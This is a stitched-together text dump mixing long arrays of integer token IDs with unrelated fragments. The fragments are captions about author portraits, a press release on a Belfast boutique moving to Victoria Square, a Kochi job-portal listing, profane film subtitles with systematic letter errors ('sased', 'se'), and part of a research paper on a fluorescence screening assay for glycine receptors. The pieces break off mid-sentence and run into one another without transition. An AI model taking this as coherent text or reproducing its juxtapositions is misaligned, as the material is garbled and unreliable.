6487, 10, 253, 760, 4422, 323, 9433, 281, 21806, 85, 32254, 285, 1755, 353, 9431, 32254, 512, 689, 5427, 15, 13106, 3954, 281, 5649, 432, 776, 25470, 34183, 379, 7106, 3238, 2, 42, 1833, 452, 368, 871, 13, 309, 35273, 619, 9970, 987, 1078, 309, 27215, 247, 2120, 5253, 273, 13735, 14709, 15, 187, 187, 18359, 10764, 3, 9707, 611, 2637, 3, 346, 510, 2926, 310, 256, 833, 327, 4588, 3394, 449, 346, 44906, 310, 417, 1060, 449, 346, 7845, 3553, 634, 3935, 449, 346, 4374, 865, 346, 12092, 865, 346, 4374, 865, 346, 7883, 310, 352, 865, 346, 55, 356, 293, 261, 13, 310, 352, 368, 865, 346, 34, 445, 626, 368, 1469, 281, 4600, 865, 346, 3039, 403, 359, 6108, 865, 346, 6892, 2183, 479, 344, 1833, 1361, 368, 449, 346, 1328, 434, 6179, 323, 368, 449, 346, 1231, 1472, 327, 1027, 5149, 16095, 449, 346, 42, 1353, 7746, 368, 359, 943, 3553, 1051, 285, 368, 1472, 7746, 479, 281, 3297, 285, 326, 4661, 588, 1361, 479, 449, 346, 42, 1053, 626, 2096, 3255, 346, 1394, 1472, 6276, 479, 10412, 449, 346, 42, 1053, 626, 2057, 449, 346, 1394, 403, 6276, 479, 10412, 449, 346, 1394, 12316, 479, 3255, 346, 1898, 752, 858, 368, 1902, 479, 281, 1333, 865, 346, 2302, 865, 346, 510, 5083, 310, 326, 309, 1904, 626, 11329, 12876, 368, 449, 346, 1394, 497, 275, 5754, 449, 346, 42, 1904, 626, 1705, 281, 789, 449, 346, 42, 1353, 6108, 449, 346, 42, 2210, 281, 755, 619, 3392, 434, 5657, 449, 346, 42, 1849, 1694, 731, 449, 346, 3726, 1364, 396, 275, 253, 7145, 689, 627, 449, 346, 30597, 601, 1476, 346, 1394, 1849, 4391, 594, 1199, 1476, 346, 1898, 368, 3663, 2801, 13, 637, 1476, 346, 8917, 368, 755, 562, 273, 5754, 3063, 865, 346, 42, 1353, 1469, 275, 3063, 449, 346, 6723, 368, 10826, 865, 346, 28986, 449, 346, 1898, 368, 865, 346, 2513, 326, 752, 3858, 513, 13, 368, 27964, 865, 346, 1394, 1472, 562, 285, 642, 581, 23238, 432, 368, 449, 346, 1276, 434, 598, 865, 346, 1394, 4391, 634, 1007, 13, 1512, 865, 346, 42, 10693, 25048, 368, 449, 346, 2042, 309, 8715, 626, 3735, 368, 2312, 3255, 346, 12923, 518, 13, 368, 37937, 449, 346, 1276, 434, 326, 2048, 327, 634, 2454, 865, 346, 6892, 753, 359, 943, 1705, 285, 1379, 368, 281, 779, 449, 346, 1328, 5605, 281, 5717, 368, 323, 3255, 346, 1328, 753, 13, 5913, 368, 878, 449, 346, 1147, 434, 10826, 449, 346, 5498, 626, 396, 247, 33702, 2522, 449, 346, 42, 871, 849, 352, 310, 449, 346, 5498, 626, 5181, 479, 969, 449, 346, 5498, 626, 5181, 479, 390, 309, 1833, 7435, 368, 449, 346, 37, 8, 5658, 2096, 865, 346, 41145, 352, 13, 637, 449, 346, 1394, 1849, 396, 3188, 1524, 5181, 90, 449, 346, 35, 505, 472, 1476, 346, 1276, 277, 8, 5658, 971, 479, 281, 1333, 1024, 865, 346, 42 ]	to Middle-Earth for this painting. George R.R. Martin A Game of Thrones author George R.R. Martin as painted by Anita Kunz. Harlan Ellison A pair of portraits of Harlan Ellison; the top a classic Bosch-inspired painting by Leo and Diane Dillon, the bottom is a mixed-media work by Iain McCaig. Neil Gaiman Neil Gaiman, painted by life-long collaborator Dave Mckean. Frank Herbert Frank Herbert, author of Dune, by Greg Manchess. Stephen King Ursula K. Le Guin Jonathan Lethem Kurt Vonnegut David Levin created hundreds of drawings for the New York Times Book Review like the ones seen above. Mark Twain Mark Twain, recently commemorated on a U.S. Postage stamp by Greg Manchess and earlier drawn by Leo and Diane Dillon. Anne Rice Anita Kunz‘s painting of Anne Rice. Ray Bradbury And finally, the illustrated man, himself, Ray Bradbury as painted by Ed Emshwiller and Dean Ellis. Expanded from the original article on Muddy Colors. Arnie Fenner is the co-founder and editor of Spectrum: Fantastic Art.Rio and Brazil set to open new store in Victoria Square One of Belfast's longest running independent fashion boutiques, is celebrating 40 years in business, by investing over £200,000 to relocate to a new store in Victoria Square. Rio & Brazil has taken over a 3,200 sq ft two story unit on the ground floor, opposite the ionic yellow Jaffe Fountain and Kitchen Bar. The new store is set to open in August, with 14 staff. Rio & Brazil first opened its doors 40 years ago in Bradbury Place Belfast, soon followed by two further stores in Donegal Arcade and then to its current store on Wellington Place. The boutique is famous for its exclusive clothing lines for men and women. Victoria Square will benefit from the introduction of 10 unique brands that are exclusive to Rio & Brazil for Northern Ireland. Shoppers will avail of over 44 new brands not yet represented in Victoria Square. Some of these unique global fashion lines include: Circle of Gentlemen, Farah Vintage, Matchless London, Save The Queen, Pom Amsterdam and Ana Alcazar. Steven Simpson, Owner of Rio & Brazil said: “My father opened our first store 40 years ago making us now one of the longest running independent fashion boutiques in Belfast. We are grateful to all our customers who have supported us over the years, as they’ve continued to shop with us through each of our relocations. Our continued evolution and introduction of unique premium products, over recent years, has now set us apart from high street stores. We are very excited about the move and are looking forward to our new convenient setting in Northern Ireland’s most prestigious shopping centre, Victoria Square. “The business has traded strongly over the last few years, especially with the introduction and success of our online store, MrandMrsStitch.com, and we felt now was the right time to move to a bigger premises. Our new unit is 25 percent bigger than our current store and is situated at the main Victoria Street entrance, with prominent on street windows. This store will give us a bigger presence, allowing us to carry more labels and offer our consumers a bigger choice.” He added: “The high footfall and location of the unit in Victoria Square presented us with an opportunity to grow the business. The centre has high visibility and attracts a lot of international customers. We’ve secured 44 new brands which are unique to Victoria Square and we are proud to be able to bring our unique shopping experience to a wider audience.” Gary Martin, Associate Director of Retail Agency at Lambert Smith Hampton commented: “We are delighted to have been able to bring Rio & Brazil to Victoria Square. The owner’s decision to invest in a new store in Victoria Square, is testament to the strength of the scheme as the top retail destination in Northern Ireland. We’re confident Rio & Brazil will add to the already diverse retail offering in the centre and be a huge hit with consumers.”About Aabasoft Technologies India Private Limited Infopark Infopark located at Kochi, is the new IT Park being developed by the Government of Kerala. To set up this project, Government has transferred 100 acres of land which is now under the ownership and possession of Infoparks Kerala, which is an independent Society fully owned by the Government. People who view this job also look for jobs with following keywords Fully solved online mock placement papers with latest test pattern,count down timer,detail test analysis with answer and explanation is available at Power Placement Preparation:P3.Start your preparation now with P3 and increase your success probabiltiy. Post an enquiry and get instant responses from institutes and best Coaching Classes in your city Aabasoft Technologies India Private Limited Infopark recruiting Trainee/ Technical Supervisor candidates nearby Kochi.Aabasoft Technologies India Private Limited Infopark vacancies for Trainee/ Technical Supervisor is recruited through Written-test, Face to Face Interview etc. Aabasoft Technologies India Private Limited Infopark Company recruits a lot of candidates every year based on the skills BPO, Customer Care Executive, International BPO. The candidates with Certificate Course (ITI)(Electrical), Diploma(Electrical) are selected to full fill the vacancies in Customer Service / Tech Support job field. The candidates nearby Kochi can apply for Trainee/ Technical Supervisor position in Aabasoft Technologies India Private Limited Infopark. All candidates should have a degree or post-graduation in the required field based on the requirement mentioned. The jobs are available in Full Time basis. When it comes to the Aabasoft Technologies India Private Limited Infopark recruitment, candidates are mostly chosen for the department of Customer Service / Tech Support. To learn more about the current jobs and other details, it is better to go through official site of Aabasoft Technologies India Private Limited Infopark and Freshersworld. Find the latest jobs near you and near your home. So, that you don’t need to relocate. The Freshersworld is a leading employment portal that researches the official site of Aabasoft Technologies India Private Limited Infopark and provides all the details about the current vacancies, the application process, selection process, interview test details, important dates and other information. Search and apply for the top job positions in Aabasoft Technologies India Private Limited Infopark and near your city and get a secured career. Your application has not been considered as this Job is restricted to Premium Candidates only. In order to apply, Upgrade to Premium Membership now. FreshersWorld.com (A TeamLease Company) is the No.1 Jobsite for Freshers in India with over 1.5+ Crore resumes and 60K+ recruiters hiring through us. Apply to Top MNC Jobs / Government jobs by registering now! What’s more? Get daily job alert, placement paper and GK updates every day on your email. FreshersWorld.com (A TeamLease Company) the only website for applying to Govt Jobs and top MNC Jobs all over India. Register Now to benefit from our unlimited fresher focused services!I'll have you know, I brushed my teeth right before I drank a full glass of orange juice. 189 shares"THE KING" "The story is sased on actual events." "Maria is not here." "Please leave your message." "Yes?" "Hello?" "Yes?" "Who is it?" "Vagelis, is it you?" "Aren't you going to sleep?" "When are we leaving?" "Che told me he'll help you." "He's waiting for you." "We're on different wave lengths." "I'm telling you we should leave... and you're telling me to stay and that Che will help me." "I don't understand..." "You're driving me crazy." "I don't either." "You are driving me crazy." "You promised me..." "And what did you expect me to say?" "No?" "The truth is that I didn't selieve you." "You were in prison." "I didn't come to work." "I'm leaving." "I came to get my father's tools." "I've got them." "They must se in the corner over there." "Fatso!" "You've changed so much!" "And you lost weight, man!" "Did you get out of prison today?" "I'm going in today." "Are you OK?" "Fine." "And you?" "Is that what friends do, you jerk?" "You're out and no one hears from you." "What's up?" "You changed your look, too?" "I hardly recognised you." "If I hadn't heard you talk..." "Speak, you prick." "What's that expression on your face?" "Che said we should come and take you to him." "He wants to thank you for..." "He said, whatever you need." "It's OK." "Don't se a dickhead." "I know how it is." "Don't touch me again." "Don't touch me or I'll fuck you." "D'you understand?" "Cool it, man." "You've secome real touchy." "Bastard!" "What d'you want me to say now?" "I
[ 14679, 273, 253, 6970, 387, 2716, 14, 4090, 1983, 6437, 5743, 313, 3433, 1714, 13, 295, 41, 10, 285, 2716, 14, 4090, 1983, 4719, 273, 6437, 5743, 313, 4625, 95, 1235, 48307, 380, 7533, 323, 1016, 4764, 403, 7117, 1840, 275, 13277, 15, 544, 1470, 15, 374, 35, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 2722, 19690, 9990, 5118, 432, 16094, 5113, 7478, 275, 1052, 21443, 12421, 4236, 432, 884, 3907, 4679, 342, 1384, 4236, 21443, 591, 3368, 313, 79, 6250, 30, 6250, 42389, 2090, 5113, 13, 608, 16607, 15, 26, 3069, 1093, 1508, 15, 25, 5113, 16, 16217, 2092, 13, 30092, 15, 20, 3069, 4739, 15, 19, 5113, 16, 4714, 481, 380, 9930, 3148, 253, 1599, 1180, 273, 5113, 27852, 7388, 10, 326, 497, 7607, 591, 3368, 846, 19690, 407, 253, 3602, 13, 13507, 95, 1235, 95, 313, 2504, 2405, 3069, 1093, 2055, 28, 5091, 3069, 24, 9498, 14679, 313, 2031, 1423, 3069, 1093, 1619, 28, 11130, 3069, 25, 9498, 416, 63, 19, 63, 313, 21, 17184, 3069, 9595, 10523, 3069, 1012, 2673, 285, 13803, 39, 313, 1812, 883, 3069, 35432, 28, 10677, 3069, 1047, 9498, 2975, 15, 2091, 512, 1740, 3602, 497, 5678, 13, 5512, 2716, 273, 512, 7478, 5113, 497, 10945, 313, 1731, 1047, 3069, 40010, 5113, 13, 8319, 3069, 24, 10970, 544, 1470, 15, 374, 36, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 6125, 12650, 10945, 313, 11958, 13, 295, 6250, 30, 6250, 2222, 10, 285, 7607, 313, 35579, 13, 295, 6250, 30, 6250, 20270, 10, 4719, 14, 10927, 9191, 5118, 432, 11348, 6298, 4080, 275, 247, 12421, 4236, 973, 313, 79, 6250, 30, 6250, 27571, 481, 380, 14261, 14, 14095, 275, 544, 1470, 15, 374, 37, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 2722, 253, 5886, 273, 13507, 95, 1235, 95, 285, 14679, 2193, 15, 831, 6779, 369, 908, 4768, 436, 1263, 347, 352, 4136, 2590, 7985, 11081, 273, 5799, 5164, 7625, 15, 1876, 23581, 323, 10945, 5113, 13, 253, 1180, 273, 5950, 4719, 14, 15994, 265, 591, 973, 310, 1029, 15, 496, 3388, 19593, 3069, 3156, 2060, 4719, 14, 15994, 265, 497, 4561, 275, 581, 973, 6240, 598, 281, 23377, 740, 13, 933, 4719, 14, 15994, 265, 591, 31184, 14, 4714, 5340, 342, 3925, 283, 1438, 21443, 591, 5340, 15, 1916, 776, 3640, 13, 436, 1268, 273, 941, 11931, 432, 2014, 1341, 556, 417, 3786, 644, 6786, 275, 247, 2014, 3368, 13, 891, 15, 70, 15, 432, 247, 31184, 14, 4714, 5340, 15, 187, 187, 3138, 38018, 273, 253, 6981, 323, 2014, 894, 14, 3169, 5164, 6979, 4880, 187, 424, 34, 6019, 48893, 273, 8654, 6981, 2515, 15, 36225, 19630, 1341, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 18, 30133, 24274, 497, 27677, 715, 31184, 14, 4714, 10855, 15, 380, 4466, 4646, 369, 7932, 407, 1384, 42213, 1453, 22748, 2900, 285, 1341, 497, 35014, 2378, 281, 1924, 7842, 11348, 275, 440, 371, 29233, 1375, 313, 35579, 14261, 387, 470, 26271, 45944, 481, 831, 3213, 369, 5196, 281, 5556, 885, 6753, 14, 71, 406, 1316, 272, 285, 5481, 273, 16094, 5113, 275, 5950, 2938, 297, 1813, 33884, 15, 15993, 497, 20403, 3197, 342, 6897, 42, 2900, 4508, 4860, 12865, 26406, 6299, 13, 835, 20026, 247, 2962, 273, 608, 3888, 369, 5950, 1046, 337, 15, 22, 256, 15, 380, 8840, 285, 4585, 11348, 7133, 13, 5950, 275, 253, 806, 285, 7002, 16, 25512, 394, 2460, 310, 18010, 4797, 285, 2502, 13, 2975, 13, 342, 253, 26112, 275, 10444, 3888, 18010, 14370, 15, 1401, 35, 6019, 5128, 19690, 15, 13478, 273, 16094, 1341, 1900, 6221, 247, 6832, 2408, 273, 21593, 313, 70, 15, 72, 15, 3846, 1341, 13, 1341, 13002, 714, 7073, 95, 42, 17472, 45, 95, 533, 417, 30133, 24274, 390, 1341, 843, 5250, 1309, 27651, 481, 1916, 30530, 30333, 4623, 11348, 6298, 432, 39624, 12690, 780, 941, 13, 6178, 6128, 497, 18748, 846, 12077, 6970, 13532, 15, 380, 33105, 2722, 253, 3388, 1180, 313, 10722, 3279, 7388, 10, 273, 5113, 591, 2460, 13, 17522, 432, 884, 4679, 13, 342, 1384, 12421, 4236, 21443, 591, 3368, 1078, 313, 11958, 13, 1341, 708, 21593, 10, 285, 846, 19690, 313, 25763, 264, 13, 7194, 1341, 10, 970, 2057, 273, 253, 3602, 13507, 95, 1235, 9854, 14679, 313, 79, 41, 582, 416, 63, 19, 63, 285, 13803, 39, 347, 2529, 275, 13277, 15, 1916, 5115, 247, 13493, 1180, 273, 38663, 4719, 6128, 512, 1740, 3602, 497, 5678, 323, 19690, 313, 35579, 582, 4795, 275, 1192, 89, 15, 2456, 6, 273, 941, 2792, 2783, 12207, 15, 1401, 36, 6019, 12675, 318, 273, 12650, 4719, 14, 15994, 265, 4080, 275, 247, 2014, 973, 846, 19690, 15, 496, 436, 1650, 247, 2264, 273, 25384, 313, 35579, 10, 285, 5325, 313, 11958, 10, 1341, 497, 7607, 285, 10945, 13, 2975, 15, 1401, 37, 6019, 1810, 2569, 7484, 273, 13507, 95, 1235, 95, 285, 14679, 2193, 6012, 432, 9191, 2011, 275, 5370, 330, 15, 31904, 49, 4713, 17, 15, 5831, 4103, 281, 20716, 1453, 13, 47223, 246, 14, 2566, 5774, 2041, 15, 361, 3680, 28757, 15, 72, 4699, 4253, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 94, 187, 187, 36251, 9175, 285, 37140, 42519, 1712, 84, 20, 67, 94, 187, 34638, 187, 187, 1992, 3653, 1880, 436, 6981, 812, 30530, 2190, 1027, 30133, 51, 30246, 359, 15550, 314, 820, 14, 43140, 36225, 19630, 1341, 342, 7905, 504, 14, 19579, 714, 7073, 95, 42, 17472, 45, 95, 285, 2057, 5898, 18, 13, 5898, 19, 390, 5898, 20, 30133, 51, 17060, 15, 544, 1470, 15, 495, 34, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 12646, 2014, 894, 14, 13472, 13507, 95, 1235, 95, 285, 14679, 2193, 323, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 5950, 275, 2060, 21443, 347, 2529, 1840, 15, 329, 332, 2961, 13507, 95, 1235, 95, 2193, 313, 249, 26271, 10, 403, 347, 3637, 27, 5898, 18, 313, 740, 15, 18, 3069, 17, 15, 21, 13, 295, 6250, 30, 6250, 14555, 582, 5898, 19, 313, 2537, 3069, 19, 13, 295, 6250, 30, 6250, 13391, 10, 285, 5898, 20, 313, 20270, 3069, 1166, 13, 295, 6250, 30, 6250, 17223, 481, 7335, 1714, 2193, 2491, 875, 470, 15, 2504, 283, 18, 15, 4529, 313, 18, 15, 746, 3069, 17, 15, 2941, 582, 470, 15, 3712, 283, 21, 15, 3655, 313, 19, 15, 4529, 3069, 17, 15, 2693, 10, 285, 470, 15, 1867, 283, 20, 15, 3079, 313, 17, 15, 4739, 3069, 17, 15, 2941, 10, 323, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 13, 2975, 15, 329, 332, 2961, 285, 12650, 6178, 14, 15994, 265, 432, 253, 3368, 17253, 275, 5370, 329, 403, 2011, 275, 544, 1470, 15, 374, 35, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 7129, 187, 187, 3138, 36251, 1453, 285, 4737, 14, 1171, 14, 26985, 2113, 273, 253, 9273, 6981, 4880, 187, 424, 34, 6019, 38181, 7484, 273, 45944, 13507, 95, 1235, 95, 285, 14679, 2193, 2797, 432, 6178, 14, 10927, 4679, 342, 1341, 13002, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 5196, 275, 2060, 21443, 15, 1401, 35, 6019, 329, 332, 2961, 285, 12650, 4719, 14, 15994, 265, 432, 253, 3368, 17253, 275, 329, 15, 1401, 36, 6019, 23736, 273, 13507, 95, 1235, 95, 2193, 432, 253, 3368, 2011, 275, 12471, 329, 285, 378, 281, 941, 432, 2644, 14, 3992, 12097, 14, 498, 1301, 44553, 10537, 313, 34330, 285, 28589, 13, 4332, 481, 1401, 37, 6019, 14423, 14, 14095, 273, 45944, 13507, 95, 1235, 95, 275, 5898, 19, 5346, 30133, 24274, 4080, 275, 6705, 21443, 273, 247, 31184, 14, 4714, 5340, 17227, 253, 7882, 285, 47813, 273, 253, 6981, 323, 4254, 275, 1029, 14, 41416, 4438, 15, 14423, 265, 285, 22445, 398, 3148, 253, 2030, 283, 1976, 6, 285, 608, 283, 2222, 6, 941, 13794, 13, 2975, 13, 273, 512, 7607, 2193, 275, 1016, 973, 15, 1401, 38, 6019, 16686, 14, 29907, 273, 884, 26271, 298, 527, 1351, 313, 35579, 10, 285, 1884, 26271, 331, 610, 1451, 460, 313, 3243, 14370, 10, 327, 5898, 18, 285, 5898, 18, 5346, 30133, 24274, 13, 3588, 839, 776, 6981, 323, 8137, 285, 14846, 273, 17110, 36390, 30133, 24274, 15, 31904, 49, 4713, 17, 15, 5831, 4103, 281, 20716, 1453, 13, 47223, 246, 14, 2566, 5774, 2041, 15, 361, 3680, 28757, 15, 72, 4838, 4253, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 94, 187, 187, 1992, 7472, 849, 776, 1332, 26662, 281, 2644, 894, 12097, 14, 498, 1301, 44553, 10537, 13, 359, 9578, 17522, 13507, 95, 1235, 95, 2193, 432, 253, 941, 2011, 275, 544, 1470, 15, 495, 34, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 342, 2193, 3786, 4080, 275, 776, 5188, 2470, 1470, 15, 495, 36, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 2536, 3667, 1256, 1783, 313, 32448, 1386, 10, 4950, 7126, 5921, 342, 941, 432, 2644, 14, 3992, 12097, 14, 498, 1301, 44553, 10537, 313, 51, 63, 19, 63, 6250, 30, 6250, 17, 15, 1525, 481, 3308, 13, 776, 11348, 14, 3169, 1332, 323, 13424, 27866, 273, 30133, 51, 25407, 26662, 973, 342, 12097, 14, 498, 1301, 44553, 10537, 15, 187, 187, 1992, 2939, 734, 14, 4714, 38041, 359, 5950, 4719, 14, 10927, 2493, 432, 6705, 21443, 273, 247, 31184, 14, 4714, 5340, 4508, 1341, 820, 14, 31464, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 19, 5346, 30133, 51, 6895, 14724, 15, 544, 1470, 15, 495, 37, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 2722, 247, 3817, 14, 14095, 273, 45944, 13507, 95, 1235, 95, 4080, 275, 2014, 21443, 432, 247, 2264, 273, 7251, 1047, 1341, 313, 11335, 3069, 1671, 1341, 16, 4714, 481, 380, 1599, 2014, 973, 14, 13472, 13507, 95, 1235, 95, 2193, 347, 4860, 407, 2806, 1386, 275, 8653, 12783, 6889, 875, 884, 285, 1884, 26271, 45944, 15, 380, 4583, 1698, 734, 14, 4714, 13099, 6492, 253, 6981, 310, 18960, 323, 1029, 14, 41416, 9273, 15, 187, 187, 1992, 1071, 1880, 776, 6981, 310, 7763, 281, 8137, 273, 5835, 326, 5742, 28498, 2860, 26168, 390, 6895, 26168, 30133, 24274, 13, 359, 7329, 1341, 820, 14, 31464, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 18, 390, 5898, 18, 5346, 10185, 281, 331, 610, 1451, 460, 390, 298, 527, 1351, 1223, 9591, 253, 45944, 6178, 14, 10927, 7241, 347, 2529, 1840, 15, 544, 1470, 15, 495, 38, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 2722, 17522, 45944, 13507, 95, 1235, 95, 2193, 273, 36225, 19630, 1341, 13002, 5898, 18, 390, 5898, 18, 5346, 30133, 24274, 4080, 275, 2014, 21443, 285, 7329, 281, 1453, 2900, 313, 2141, 18, 45152, 26, 15, 25, 3069, 17, 15, 22, 13, 295, 6250, 30, 6250, 18493, 28, 5898, 18, 5346, 27, 818, 15, 25, 3069, 19, 15, 20, 13, 295, 6250, 30, 6250, 16717, 10, 347, 973, 347, 281, 2900, 4508, 884, 26271, 298, 527, 1351, 390, 1884, 26271, 331, 610, 1451, 460, 13, 2975, 15, 1284, 3264, 323, 247, 8946, 12085, 25166, 326, 1057, 417, 30530, 15995, 30133, 51, 25407, 1008, 2041, 15, 361, 3680, 28757, 14, 1231, 4482, 18, 1092, 331, 610, 1451, 460, 16821, 2559, 253, 45944, 13507, 95, 1235, 95, 2193, 273, 1097, 10185, 313, 2141, 18, 45152, 26140, 3069, 1731, 13, 295, 6250, 30, 6250, 20270, 28, 5898, 18, 5346, 16493, 3069, 1010, 13, 295, 6250, 30, 6250, 16763, 10, 2470, 1470, 15, 495, 38, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 2536, 12529, 1351, 556, 3786, 644, 2011, 275, 44553, 8673, 2175, 281, 15582, 5898, 18, 533, 417, 5898, 18, 5346, 30133, 24274, 1008, 2041, 15, 361, 3680, 28757, 14, 34330, 18, 1570, 3824, 11348, 6981, 21223, 14371, 298, 527, 1351, 13878, 1204, 273, 5898, 18, 533, 417, 5898, 18, 5346, 30133, 24274, 313, 2141, 18, 45152, 1731, 15, 21, 3069, 18, 15, 23, 13, 295, 6250, 30, 6250, 16198, 28, 5898, 18, 5346, 854, 15, 18, 3069, 17, 15, 23, 13, 295 ]	slope of the curve at half-maximal receptor activation (slope, nH) and half-maximal concentration of receptor activation (EC~50~). The settings for each parameter are listed above in Methods. [Fig. 2B](#pone-0058479-g002){ref-type="fig"} shows filtering statistics calculated from fluorescent objects recognized in 200 wells randomly selected from 10 independent experiments with 20 selected wells per experiment (n = 51469 objects, 5146.9±1823.8 objects/experiment, 257.3±91.2 objects/well). The columns display the mean number of objects (± SD) that were accepted per experiment after filtering by the parameters, EC~50~ (4731±1888; 90±7%), slope (4422±1828; 84±8%), R^2^ (4176±1999 78±13%) and ΔF (3611±876; 74±14%), respectively. When all four parameters were combined, approximately half of all recognized objects were rejected (2614±871 objects, 51±7%). [Fig. 2C](#pone-0058479-g002){ref-type="fig"} represents normalized rejected (black, n = 95) and accepted (grey, n = 186) concentration-response curves calculated from fluorescence signals measured in a randomly selected well (n = 281). The dot-plot in [Fig. 2D](#pone-0058479-g002){ref-type="fig"} shows the relation of EC~50~ and slope values. This representation was used throughout this study as it allowed clear visible discrimination of distinct functional populations. Allowing for rejected objects, the number of recorded concentration-responses per well is high. In average 131±41 individual concentration-responses were generated in one well adding up to ∼10,000 concentration-responses per 384-well plate with 60--80 wells per plate. To our knowledge, this level of data acquisition from single cells has not previously been achieved in a single experiment, i.e. from a 384-well plate. ![Development of the assay for single cell-based functional imaging.\ A. Determination of optimal assay conditions. HEK293 cells YFP~I152L~ and α1 GlyRs were seeded into 384-well plates. The culture medium was replaced by 20 µl control NaCl solution and cells were imaged once to record cellular fluorescence in unquenched state (grey dot at 0 µM glycine). This step was conducted to optimise auto-focussing and detection of fluorescent objects in recorded fluomicrographs. Cells were perfused with NaI solution containing indicated lycine concentrations, whereupon a series of 5 images was recorded every 1.5 s. The lowest and highest fluorescence intensity, recorded in the first and fourth/fifth image is colored blue and red, respectively, with the intensities in intermediate images colored grey. B. Data filtering. Images of fluorescent cells always contained a substantial amount of debris (e.g. dead cells, cells expressing YFP~I152L~ but not GlyRs or cells detaching during perfusion). To discriminate functionally relevant fluorescence signals from artefactual data, dose responses were filtered after automatic curve fitting. The histogram shows the average number (mean ± SD) of objects per image, averaged from 10 experiments, with 20 randomly selected wells per experiment before (black, cells & debris) and after filtering (striped, mainly cells) using either of the parameters EC~50~, slope (nH), R^2^ and ΔF as described in Methods. To achieve a maximal number of unbiased concentration responses all four parameters were combined for filtering (grey), resulting in approx. 50% of data points considered acceptable. C. Representation of normalized concentration-responses measured in a single well after filtering. In this example a total of 186 (grey) and 95 (black) cells were accepted and rejected, respectively. D. Scatter plot of EC~50~ and slope values derived from curves shown in panel C. \\\P\<0.0001 relative to untreated control, unpaired t-test.](pone.0058479.g002){#pone-0058479-g002} Quality Control and Assay Validation {#s3b} ------------------------------------ To determine whether this assay could discriminate among different GlyR isoforms we transiently co-transfected HEK293 cells with halide-sensitive YFP~I152L~ and either α1, α2 or α3 GlyR cDNA. [Fig. 3A](#pone-0058479-g003){ref-type="fig"} displays single cell-derived EC~50~ and slope values for α1, α2 and α3 GlyRs recorded in individual wells as described above. Averaged EC~50~ values (in µM) are as follows: α1 (10.1±0.4, n = 147), α2 (49±2, n = 114) and α3 (186±17, n = 212). Slope values range between 0.47--1.92 (1.19±0.03), 0.51--4.73 (2.92±0.09) and 0.39--3.43 (0.91±0.03) for α1, α2 and α3 GlyRs, respectively. Averaged and normalized dose-responses from the experiment depicted in panel A are shown in [Fig. 2B](#pone-0058479-g002){ref-type="fig"}. ![Quality control and proof-of-principle of the screening assay.\ A.* Dot plot of glycine EC~50~ and slope values obtained from dose-response experiments with cells expressing α1, α2 and α3 GlyRs conducted in individual wells. B. Averaged and normalized concentration-responses from the experiment depicted in A. C. Comparison of EC~50~ values from the experiment shown in panels A and B to data from whole-cell patch-clamp electrophysiology (Islam and Lynch, 2011). D. Box-plot of glycine EC~50~ in α2β GlyRs measured in 64 wells of a 384-well plate demonstrating the stability and usability of the assay for operation in high-throughput mode. Boxes and whiskers display the 25--75% and 5--95% data ranges, respectively, of all accepted values in each well. E. Drug-effects of 10 µM lindane (grey) and 30 µM strychnine (light grey) on α1 and α1β GlyRs, validating our assay for identification and characterization of chemicals modulating GlyRs. \\\*P\<0.0001 relative to untreated control, unpaired t-test.](pone.0058479.g003){#pone-0058479-g003} To evaluate how our method compares to whole cell patch-clamp electrophysiology, we correlated averaged EC~50~ values from the data shown in [Fig. 3A](#pone-0058479-g003){ref-type="fig"} with values previously measured in our lab ([Fig. 3C](#pone-0058479-g003){ref-type="fig"}). Regression analysis (dashed line) revealed excellent correlation with data from whole-cell patch-clamp electrophysiology (R^2^ = 0.99). Thus, our fluorescence-based method for physiological profiling of GlyR subtypes compares well with patch-clamp electrophysiology. To assess inter-well reproducibility we recorded concentration-response relations from 64 wells of a 384-well plate containing cells co-expressing YFP~I152L~ and α2β GlyR heteromers. [Fig. 3D](#pone-0058479-g003){ref-type="fig"} shows a box-plot of glycine EC~50~ measured in single wells from a total of 6514 cells (102±35 cells/well). The mean single well-derived EC~50~ values as indicated by black line in displayed boxes vary between 10 and 30 µM glycine. The overall low inter-well variability indicates the assay is suited for high-throughput screening. To test whether our assay is applicable to identification of drugs that specifically modulate homomeric or heteromeric GlyRs, we exposed cells co-expressing YFP~I152L~ and α1 or α1β receptors to strychnine or lindane while performing the glycine dose-response protocol as described above. [Fig. 3E](#pone-0058479-g003){ref-type="fig"} shows averaged glycine EC~50~ values of HEK293 cells expressing α1 or α1β GlyRs measured in single wells and exposed to control solution (α1∶9.8±0.5, n = 197; α1β: 7.8±2.3, n = 149) as well as to solution containing 10 µM lindane or 30 µM strychnine, respectively. As expected for a classical competitive antagonist that does not discriminate amongst GlyR subtypes [@pone.0058479-Webb1], strychnine dramatically increased the glycine EC~50~ values of both receptors (α1∶346±26, n = 186; α1β 121±15, n = 205) ([Fig. 3E](#pone-0058479-g003){ref-type="fig"}). Lindane has previously been shown in electrophysiological studies to inhibit α1 but not α1β GlyRs [@pone.0058479-Islam1]. Our fluorescence assay likewise demonstrates lindane antagonism of α1 but not α1β GlyRs (α1∶26.4±1.6, n = 156; α1β 8.1±0.6, n
